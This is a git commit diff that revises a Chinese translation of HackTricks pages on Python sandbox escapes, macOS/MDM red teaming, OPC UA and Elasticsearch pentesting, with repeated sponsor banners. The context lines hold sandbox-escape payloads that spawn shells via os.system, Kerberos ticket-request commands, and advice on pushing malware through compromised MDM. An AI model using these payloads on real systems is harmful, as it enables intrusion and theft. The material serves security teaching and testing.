Translated ['README.md', 'generic-methodologies-and-resources/python/byp

This commit is contained in:
Translator 2024-11-09 13:47:43 +00:00
parent e07f818f14
commit 9de12d6f66
31 changed files with 483 additions and 482 deletions

View file

@ -5,7 +5,7 @@
_Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
{% hint style="success" %}
**欢迎来到这个维基在这里你将找到我从CTF、现实应用、阅读研究和新闻中学到的每一个黑客技巧/技术/无论是什么。**
**欢迎来到这个维基在这里你将找到我从CTF、现实生活应用、阅读研究和新闻中学到的每一个黑客技巧/技术/无论是什么。**
{% endhint %}
要开始,请遵循此页面,在这里你将找到**你在进行一个或多个机器的渗透测试时应该遵循的典型流程:**
@ -32,7 +32,7 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) 是**西班牙**最重要的网络安全事件之一,也是**欧洲**最重要的活动之一。大会的**使命是促进技术知识**,是各个学科的技术和网络安全专业人士的热烈交流点。
[**RootedCON**](https://www.rootedcon.com) 是**西班牙**最重要的网络安全事件之一,也是**欧洲**最重要的活动之一。这个大会的**使命是促进技术知识**,是各个学科的技术和网络安全专业人士的热烈交流点。
{% embed url="https://www.rootedcon.com/" %}
@ -57,7 +57,7 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流程**,由世界上**最先进**的社区工具提供支持。
今天获取访问权限:
今天获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -70,10 +70,10 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和漏洞赏金猎人交流!
* **黑客见解**:参与深入探讨黑客的刺激和挑战的内容
* **实时黑客新闻**:通过实时新闻和见解跟上快速变化的黑客世界
* **最新公告**:了解即将推出的最新漏洞赏金和重要平台更新
* **实时黑客新闻**:通过实时新闻和见解跟上快速变化的黑客世界
* **最新公告**:了解最新漏洞赏金发布和重要平台更新
**加入我们,访问** [**Discord**](https://discord.com/invite/N3FrSbmwdy)今天就开始与顶级黑客合作!
**今天就加入我们,** [**Discord**](https://discord.com/invite/N3FrSbmwdy),开始与顶级黑客合作
***
@ -81,9 +81,9 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待你的网络应用、网络和云
**从黑客的角度看待你的网络应用、网络和云**
**查找并报告具有实际商业影响的关键、可利用的漏洞。** 使用我们20多个自定义工具来映射攻击面查找让你提升权限的安全问题并使用自动化漏洞利用收集重要证据,将你的辛勤工作转化为有说服力的报告。
**查找并报告具有实际商业影响的关键、可利用的漏洞。** 使用我们20多个自定义工具来映射攻击面查找让你提升权限的安全问题并使用自动化利用收集重要证据将你的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -98,7 +98,7 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
**SerpApi** 提供快速且简单的实时API以**访问搜索引擎结果**。他们抓取搜索引擎,处理代理,解决验证码,并为你解析所有丰富的结构化数据。
订阅SerpApi的计划之一包括访问超过50个不同的API用于抓取不同的搜索引擎包括Google、Bing、百度、Yahoo、Yandex等。\
订阅SerpApi的计划之一包括访问50个不同的API用于抓取不同的搜索引擎包括Google、Bing、百度、Yahoo、Yandex等。\
与其他提供商不同,**SerpApi不仅仅抓取自然结果**。SerpApi的响应始终包括所有广告、内嵌图像和视频、知识图谱以及搜索结果中存在的其他元素和功能。
当前的SerpApi客户包括**Apple、Shopify和GrubHub**。\
@ -113,9 +113,9 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
[**WebSec**](https://websec.nl) 是一家总部位于**阿姆斯特丹**的专业网络安全公司,帮助**保护**全球企业免受最新网络安全威胁,通过提供**进攻性安全服务**以**现代**的方式。
WebSec 是一家**一体化安全公司**,这意味着他们提供所有服务;渗透测试、**安全**审计、意识培训、网络钓鱼活动、代码审查、漏洞开发、安全专家外包等。
WebSec是一家**一体化安全公司**,这意味着他们可以做所有事情;渗透测试、**安全**审计、意识培训、网络钓鱼活动、代码审查、漏洞开发、安全专家外包等。
WebSec的另一个酷点是与行业平均水平不同WebSec对他们的技能**非常自信**,以至于他们**保证最佳质量结果**,他们在网站上声明“**如果我们无法攻破它,你就不需要支付!**”。有关更多信息,请查看他们的[**网站**](https://websec.nl/en/)和[**博客**](https://websec.nl/blog/)
WebSec的另一个酷点是与行业平均水平不同WebSec对他们的技能**非常自信**,以至于他们**保证最佳质量结果**,他们在网站上声明“**如果我们无法攻破它,你就不需要支付!**”。有关更多信息,请查看他们的[**网站**](https://websec.nl/en/)和[**博客**](https://websec.nl/blog/)
除了上述内容WebSec还是**HackTricks的坚定支持者**。
@ -142,7 +142,7 @@ WebSec的另一个酷点是与行业平均水平不同WebSec对他们的
<summary>支持HackTricks</summary>
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord小组**](https://discord.gg/hRep4RUj7f)或[**电报小组**](https://t.me/peass),或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或**在Twitter上关注**我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
</details>

View file

@ -17,9 +17,9 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度审视您的网络应用、网络和云**
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -60,7 +60,7 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py')
system('ls')
```
记住_**open**_ 和 _**read**_ 函数可以用于 **读取文件** 在 python 沙箱内,并 **编写一些代码** 你可以 **执行** **绕过** 沙箱。
记住_**open**_ 和 _**read**_ 函数可以用于 **读取文件** 在 python 沙箱内,并 **编写一些代码** 你可以 **执行** **绕过** 沙箱。
{% hint style="danger" %}
**Python2 input()** 函数允许在程序崩溃之前执行 python 代码。
@ -201,11 +201,11 @@ class _:pass
```
### RCE 创建对象和重载
如果你可以 **声明一个类****创建该类的对象**,你可以 **编写/覆盖不同的方法**,这些方法可以在 **不需要直接调用** 的情况下 **触发**。
如果你可以 **声明一个类****创建该类的对象**,你可以 **编写/覆盖不同的方法**,这些方法可以在 **不需要直接调用它们** 的情况下 **触发**。
#### 使用自定义类的 RCE
你可以修改一些 **类方法**_通过覆盖现有类方法或创建新类_使它们在 **触发** 时 **执行任意代码**,而无需直接调用它们。
你可以修改一些 **类方法**_通过覆盖现有类方法或创建一个新类_使它们在 **触发** 时 **执行任意代码**,而无需直接调用它们。
```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
@ -274,7 +274,7 @@ Sub['import os; os.system("sh")']
```
#### 创建带有异常的对象
当**异常被触发**时,**Exception**的一个对象会被**创建**,而无需您直接调用构造函数(来自[**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)的技巧):
当**异常被触发**时,**Exception**的一个对象会被**创建**,而无需您直接调用构造函数(来自[**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)的一个技巧):
```python
class RCE(Exception):
def __init__(self):
@ -338,7 +338,7 @@ __builtins__.__dict__['__import__']("os").system("ls")
### No Builtins
当你没有 `__builtins__` 时,你将无法导入任何内容,甚至无法读取或写入文件,因为 **所有的全局函数**(如 `open`、`import`、`print`...**都没有加载**。\
然而,**默认情况下python 会在内存中导入很多模块**。这些模块看似无害,但其中一些 **也在内部导入危险** 的功能,可以被访问以获得 **任意代码执行**
然而,**默认情况下python 会在内存中导入很多模块**。这些模块看起来可能是无害的,但其中一些 **也在内部导入危险** 的功能,可以被访问以获得 **任意代码执行**
在以下示例中,你可以观察到如何 **滥用** 一些被加载的 "**无害**" 模块,以 **访问** **危险** **功能**
@ -424,11 +424,11 @@ class_obj.__init__.__globals__
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
```
[**下面有一个更大的函数**](./#recursive-search-of-builtins-globals) 查找数十/**数百**个 **位置**,您可以找到 **globals**
[**下面有一个更大的函数**](./#recursive-search-of-builtins-globals) 用于查找数十/**数百**个 **位置**,您可以找到 **globals**
## 发现任意执行
在这里,我想解释如何轻松发现 **加载的更危险功能** 并提出更可靠的利用。
在这里,我想解释如何轻松发现 **更危险功能** 并提出更可靠的利用方法
#### 通过绕过访问子类
@ -561,7 +561,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
## 递归搜索内置对象、全局变量...
{% hint style="warning" %}
这真是**太棒了**。如果你**正在寻找像 globals、builtins、open 或其他任何对象**,只需使用这个脚本**递归查找可以找到该对象的地方。**
这真是**太棒了**。如果你**正在寻找像 globals、builtins、open 或其他任何对象**,只需使用这个脚本**递归查找可以找到该对象的地方。**
{% endhint %}
```python
import os, sys # Import these to find more gadgets
@ -686,7 +686,7 @@ main()
## Python 格式字符串
如果您**发送**一个将要**格式化**的**字符串**给python您可以使用`{}`来访问**python内部信息。** 您可以使用之前的示例来访问全局变量或内置函数,例如。
如果您**发送**一个**字符串**给 python该字符串将被**格式化**您可以使用 `{}` 来访问**python 内部信息。** 您可以使用之前的示例来访问全局变量或内置函数,例如。
```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
@ -726,7 +726,7 @@ return 'HAL 9000'
'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.
```
**更多关于** **格式** **字符串** 示例的例子可以在 [**https://pyformat.info/**](https://pyformat.info) 找到
**更多关于** **格式** **字符串** **的示例** 可以在 [**https://pyformat.info/**](https://pyformat.info) 找到
{% hint style="danger" %}
还请查看以下页面,了解将从 Python 内部对象中读取敏感信息的工具:
@ -794,10 +794,10 @@ pydll = LibraryLoader(PyDLL)
## 解剖 Python 对象
{% hint style="info" %}
如果你想深入**了解** **python 字节码**,请阅读这篇关于该主题的**精彩**文章:[**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
如果你想深入了解 **python 字节码**,请阅读这篇关于该主题的 **精彩** 文章:[**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
{% endhint %}
某些 CTF 中,你可能会被提供一个**自定义函数的名称,其中包含标志**,你需要查看**函数**的**内部**以提取它。
一些 CTF 中,你可能会被提供一个 **自定义函数的名称,其中包含标志**,你需要查看 **函数****内部** 以提取它。
这是要检查的函数:
```python
@ -920,7 +920,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
注意,**如果你无法在python沙箱中导入`dis`**,你可以获取函数的**字节码**`get_flag.func_code.co_code`)并在本地**反汇编**它。你不会看到正在加载的变量的内容(`LOAD_CONST`),但你可以从(`get_flag.func_code.co_consts`)中推测它们,因为`LOAD_CONST`也会告诉正在加载的变量的偏移量。
注意,如果**您无法在python沙箱中导入`dis`**,您可以获取函数的**字节码**`get_flag.func_code.co_code`)并在本地**反汇编**它。您将看不到正在加载的变量的内容(`LOAD_CONST`),但您可以从(`get_flag.func_code.co_consts`)中推测它们,因为`LOAD_CONST`也会告诉正在加载的变量的偏移量。
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
@ -945,7 +945,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
## 编译 Python
现在,让我们想象一下,您可以以某种方式**转储您无法执行的函数的信息**,但您**需要**去**执行**它。\
就像在以下示例中,您**可以访问该函数的代码对象**,但仅通过读取反汇编,您**不知道如何计算标志**_想象一个更复杂的 `calc_flag` 函数_
就像在以下示例中,您**可以访问该函数的代码对象**,但仅通过读取反汇编,您**不知道如何计算标志**_想象一个更复杂的 `calc_flag` 函数_
```python
def get_flag(some_input):
var1=1
@ -991,7 +991,7 @@ types.CodeType.__doc__
### 重建泄露的函数
{% hint style="warning" %}
在以下示例中,我们将直接从函数代码对象获取重建函数所需的所有数据。在一个**真实的例子**中,执行函数**`code_type`**所需的所有**值**就是**你需要泄露的**内容
在以下示例中,我们将直接从函数代码对象获取重建函数所需的所有数据。在一个**真实的例子**中,执行函数**`code_type`**所需的所有**值**就是**你需要泄露的**。
{% endhint %}
```python
fc = get_flag.__code__
@ -1005,7 +1005,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
```
### 绕过防御
在本文开头的前几个例子中,您可以看到**如何使用 `compile` 函数执行任何 python 代码**。这很有趣,因为您可以**在一行中执行整个脚本**,包括循环和其他内容(我们也可以使用**`exec`**做到这一点)。\
在本文开头的前几个例子中,您可以看到 **如何使用 `compile` 函数执行任何 python 代码**。这很有趣,因为您可以 **在一行中执行整个脚本**,包括循环和其他内容(我们也可以使用 **`exec`** 做同样的事情)。\
无论如何,有时在本地机器上 **创建** 一个 **编译对象** 并在 **CTF 机器** 上执行它可能是有用的(例如,因为我们在 CTF 中没有 `compiled` 函数)。
例如,让我们手动编译并执行一个读取 _./poc.py_ 的函数:
@ -1080,9 +1080,9 @@ print(f"\nNot a Super User!!!\n")
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用程序、网络和云**
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面找让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -1096,7 +1096,7 @@ print(f"\nNot a Super User!!!\n")
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR分享黑客技巧。
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR分享黑客技巧。
</details>
{% endhint %}

View file

@ -17,9 +17,9 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度审视您的网络应用、网络和云**
**查找并报告具有实际商业影响的关键、可利用的漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
**发现并报告具有实际商业影响的关键、可利用的漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -28,7 +28,7 @@
* JAMF Pro: `jamf checkJSSConnection`
* Kandji
如果您设法**获取管理员凭据**以访问管理平台,您可以**潜在地危害所有计算机**,通过在机器上分发恶意软件。
如果您设法 **获取管理员凭据** 以访问管理平台,您可以 **潜在地危害所有计算机**,通过在机器上分发您的恶意软件。
在 MacOS 环境中进行红队活动,强烈建议对 MDM 的工作原理有一定了解:
@ -44,7 +44,7 @@ MDM 将有权限安装、查询或删除配置文件,安装应用程序,创
然而,要在注册设备上安装应用程序,您仍然需要它由开发者帐户签名... 然而,在 MDM 注册时,**设备将 MDM 的 SSL 证书添加为受信任的 CA**,因此您现在可以签署任何内容。
要将设备注册到 MDM您需要以 root 身份安装一个 **`mobileconfig`** 文件,这可以通过 **pkg** 文件传递(您可以将其压缩为 zip当从 Safari 下载时将被解压)。
要将设备注册到 MDM您需要以 root 身份安装 **`mobileconfig`** 文件,这可以通过 **pkg** 文件传递(您可以将其压缩为 zip当从 Safari 下载时将被解压)。
**Mythic agent Orthrus** 使用了这种技术。
@ -125,7 +125,7 @@ sudo jamf policy -id 0
[macos-protocols.md](../macos-security-and-privilege-escalation/macos-protocols.md)
{% endcontent-ref %}
## Active Directory
## 活动目录
在某些情况下,你会发现 **MacOS 计算机连接到 AD**。在这种情况下,你应该尝试**枚举**活动目录,就像你习惯的那样。在以下页面中找到一些**帮助**
@ -220,14 +220,14 @@ bifrost --action asktgt --username test_lab_admin \
bifrost --action asktgs --spn [service] --domain [domain.com] \
--username [user] --hash [hash] --enctype [enctype]
```
通过获的服务票证,可以尝试访问其他计算机上的共享:
通过获的服务票证,可以尝试访问其他计算机上的共享:
```bash
smbutil view //computer.fqdn
mount -t smbfs //server/folder /local/mount/point
```
## 访问钥匙串
钥匙串很可能包含敏感信息,如果在没有生成提示的情况下访问,可能有助于推进红队演
钥匙串很可能包含敏感信息,如果在没有生成提示的情况下访问,可能有助于推进红队演
{% content-ref url="macos-keychain.md" %}
[macos-keychain.md](macos-keychain.md)
@ -245,7 +245,7 @@ MacOS 红队与常规 Windows 红队不同,因为通常 **MacOS 直接与多
<figure><img src="../../.gitbook/assets/image (226).png" alt=""><figcaption></figcaption></figure>
## 参考资料
## 参考文献
* [**https://www.youtube.com/watch?v=IiMladUbL6E**](https://www.youtube.com/watch?v=IiMladUbL6E)
* [**https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6**](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6)
@ -255,15 +255,15 @@ MacOS 红队与常规 Windows 红队不同,因为通常 **MacOS 直接与多
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看您的网络应用、网络和云
**获取黑客对您的网络应用程序、网络和云的看法**
**查找并报告具有实际业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
**查找并报告具有实际业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
学习和实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -17,15 +17,15 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## 基本信息
**OPC UA**,即 **开放平台通信统一访问**,是一个重要的开源协议,广泛应用于制造、能源、航空航天和国防等行业的数据交换和设备控制。它独特地使不同供应商的设备能够进行通信,特别是与 PLC 的通信。
**OPC UA**,即 **开放平台通信统一访问**,是一个关键的开源协议,广泛应用于制造、能源、航空航天和国防等行业的数据交换和设备控制。它独特地使不同供应商的设备能够进行通信,特别是与 PLC 的通信。
其配置允许强大的安全措施,但通常为了与旧设备的兼容性,这些措施会减弱,从而使系统面临风险。此外,查找 OPC UA 服务可能很棘手,因为网络扫描仪可能无法检测到它们,如果它们位于非标准端口上。
@ -44,7 +44,7 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
如果发现身份验证绕过漏洞,可以相应地配置 [OPC UA client](https://www.prosysopc.com/products/opc-ua-browser/),查看可以访问的内容。这可能允许从仅仅读取过程值到实际操作重型工业设备的任何事情。
要获取您可以访问的设备的线索请在地址空间中读取“ServerStatus”节点值并在谷歌上搜索使用手册。
要获取您可以访问的设备的线索请在地址空间中读取“ServerStatus”节点值并在谷歌上查找使用手册。
## Shodan
@ -56,7 +56,7 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面发现让您提升权限的安全问题并使用自动化漏洞收集重要证据将您的辛勤工作转化为有说服力的报告。

View file

@ -17,7 +17,7 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
@ -36,23 +36,23 @@ PORT STATE SERVICE
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用程序、网络和云**
**查找并报告具有实际业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面发现让您提升权限的安全问题并使用自动化利用收集重要证据将您的辛勤工作转化为有说服力的报告。
**查找并报告具有实际业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面发现让您提升权限的安全问题并使用自动化利用收集重要证据将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
学习和实践AWS黑客技术<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家ARTE**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践GCP黑客技术<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家GRTE**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
学习和实践AWS黑客攻击<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家ARTE**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践GCP黑客攻击<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家GRTE**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持HackTricks</summary>
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR来分享黑客技巧。
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
</details>
{% endhint %}

View file

@ -17,9 +17,9 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -127,7 +127,7 @@ yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0
### 转储索引
如果您想**转储索引的所有内容**,可以访问:`http://host:9200/<index>/_search?pretty=true`,例如`http://10.10.10.115:9200/bank/_search?pretty=true`
如果您想**转储索引的所有内容**,可以访问:`http://host:9200/<index>/_search?pretty=true`,例如`http://10.10.10.115:9200/bank/_search?pretty=true`
